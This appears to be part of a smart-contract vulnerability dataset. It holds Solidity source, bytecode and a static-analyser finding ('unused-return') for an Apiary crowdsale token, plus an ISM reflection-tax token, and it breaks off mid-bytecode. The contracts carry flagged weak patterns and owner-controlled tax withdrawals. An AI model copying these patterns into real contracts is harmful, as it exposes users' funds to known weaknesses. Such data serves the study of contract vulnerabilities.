<= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Apiary is MintableToken { string public constant name = "Apiary"; string public constant symbol = "API"; uint32 public constant decimals = 4; } contract Crowdsale is Ownable { using SafeMath for uint; address eth_addr; address devs_addr; uint devs_percent; Apiary public token = new Apiary(); uint start_ico; uint period; uint hardcap; uint rate; function Crowdsale() { eth_addr = 0x785862CEBCEcE601c6E1f79315c9320A6721Ea92; devs_addr = 0x18A09596E20A84EC5915DC1EBdC0B13312C924cD; start_ico = 1527854400; period = 30; rate = 5000e4; hardcap = 500 ether; devs_percent = 3; } modifier saleIsOn() { require(now > start_ico && now < start_ico + period * 1 days); _; } modifier isUnderHardCap() { require(eth_addr.balance <= hardcap); _; } function finishMinting() public onlyOwner { uint issuedTokenSupply = token.totalSupply(); uint restrictedTokens = issuedTokenSupply.mul(devs_percent).div(100 - devs_percent); token.mint(devs_addr, restrictedTokens); token.finishMinting(); } function createTokens() isUnderHardCap saleIsOn payable { eth_addr.transfer(msg.value); uint tokens = rate.mul(msg.value).div(1 ether); uint bonusTokens = 0; if(now < start_ico + (period * 1 days).div(3)) { bonusTokens = tokens.div(5); } else { bonusTokens = 0; } tokens += bonusTokens; token.mint(msg.sender, tokens); } function() payable { createTokens(); } }
0x606060405236156100ce576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100d357806306fdde0314610100578063095ea7b31461018f57806318160ddd146101e957806323b872dd14610212578063313ce5671461028b57806340c10f19146102c057806370a082311461031a5780637d64bcb4146103675780638da5cb5b1461039457806395d89b41146103e9578063a9059cbb14610478578063dd62ed3e146104d2578063f2fde38b1461053e575b600080fd5b34156100de57600080fd5b6100e6610577565b604051808215151515815260200191505060405180910390f35b341561010b57600080fd5b61011361058a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101545780820151818401525b602081019050610138565b50505050905090810190601f1680156101815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019a57600080fd5b6101cf600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105c3565b604051808215151515815260200191505060405180910390f35b34156101f457600080fd5b6101fc61074b565b6040518082815260200191505060405180910390f35b341561021d57600080fd5b610271600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610751565b604051808215151515815260200191505060405180910390f35b341561029657600080fd5b61029e610a02565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34156102cb57600080fd5b610300600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a07565b604051808215151515815260200191505060405180910390f35b341561032557600080fd5b610351600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b8c565b6040518082815260200191505060405180910390f35b341561037257600080fd5b61037a610bd6565b604051808215151515815260200191505060405180910390f35b341561039f57600080fd5b6103a7610c84565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f457600080fd5b6103fc610caa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043d5780820151818401525b602081019050610421565b50505050905090810190601f16801561046a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048357600080fd5b6104b8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ce3565b604051808215151515815260200191505060405180910390f35b34156104dd57600080fd5b610528600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e7f565b6040518082815260200191505060405180910390f35b341561054957600080fd5b610575600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f07565b005b600360149054906101000a900460ff1681565b6040805190810160405280600681526020017f417069617279000000000000000000000000000000000000000000000000000081525081565b60008082148061064f57506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561065a57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60005481565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ba83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100490919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610910838261100490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505b509392505050565b600481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6557600080fd5b600360149054906101000a900460ff16151515610a8157600080fd5b610a9682600054610fe590919063ffffffff16565b600081905550610aee82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a2600190505b5b5b92915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3457600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a1600190505b5b90565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f415049000000000000000000000000000000000000000000000000000000000081525081565b6000610d3782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcc82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f9f57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b6000808284019050838110151515610ff957fe5b8091505b5092915050565b600082821115151561101257fe5b81830390505b929150505600a165627a7a7230582005ee1c3fdc7fba22a4b41ba2178c9876be4fa44bbc6e63db996a41e1172309800029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,097
0x6ca0f607d6762106951777af64cb21dc2f1f7773
/** *Submitted for verification at Etherscan.io on 2021-11-16 */ //SPDX-License-Identifier: MIT // Telegram: t.me/ismtoken // In the Shadow of the Moon pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } uint256 constant INITIAL_TAX=9; uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="ISM"; string constant TOKEN_NAME="In the Shadow of Moon"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ISM is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(25); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea5780633e07ce5b1461021557806351bc3c851461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612492565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612032565b6103e4565b6040516101629190612477565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612614565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fdf565b610426565b6040516101ca9190612477565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c9190612689565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a88565b005b34801561024f57600080fd5b5061026a60048036038101906102659190611f45565b610b02565b6040516102779190612614565b60405180910390f35b34801561028c57600080fd5b50610295610b53565b005b3480156102a357600080fd5b506102ac610ca6565b6040516102b991906123a9565b60405180910390f35b3480156102ce57600080fd5b506102d7610ccf565b6040516102e49190612492565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061209f565b610d0c565b005b34801561032257600080fd5b5061033d60048036038101906103389190612032565b610d84565b60405161034a9190612477565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190611f9f565b610da2565b6040516103879190612614565b60405180910390f35b34801561039c57600080fd5b506103a5610e29565b005b60606040518060400160405280601581526020017f496e2074686520536861646f77206f66204d6f6f6e0000000000000000000000815250905090565b60006103f86103f1610ee5565b8484610eed565b6001905092915050565b60006006600a61041291906127d3565b6305f5e10061042191906128f1565b905090565b60006104338484846110b8565b6104f48461043f610ee5565b6104ef85604051806060016040528060288152602001612e0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610ee5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114719092919063ffffffff16565b610eed565b600190509392505050565b610507610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612514565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e591906127d3565b6305f5e1006105f491906128f1565b610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611f72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611f72565b6040518363ffffffff1660e01b81526004016107729291906123c4565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611f72565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b02565b600080610858610ca6565b426040518863ffffffff1660e01b815260040161087a96959493929190612416565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906120cc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a49291906123ed565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612072565b50565b60006006905090565b610a0a610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6006600a610a7191906127d3565b6305f5e100610a8091906128f1565b600a81905550565b610a90610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6000610af430610b02565b9050610aff816114d5565b50565b6000610b4c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d565b9050919050565b610b5b610ee5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f49534d0000000000000000000000000000000000000000000000000000000000815250905090565b610d14610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d57600080fd5b60098110610d7a57600080fd5b8060088190555050565b6000610d98610d91610ee5565b84846110b8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e31610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a57600080fd5b6000479050610e98816117cb565b50565b6000610edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611837565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f54906125f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906124f4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ab9190612614565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906125d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f906124b4565b60405180910390fd5b600081116111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d2906125b4565b60405180910390fd5b6111e3610ca6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112515750611221610ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561146157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113015750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113a157600a5481106113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612554565b60405180910390fd5b5b60006113ac30610b02565b9050600c60159054906101000a900460ff161580156114195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114315750600c60169054906101000a900460ff165b1561145f5761143f816114d5565b6000479050670de0b6b3a7640000811061145d5761145c476117c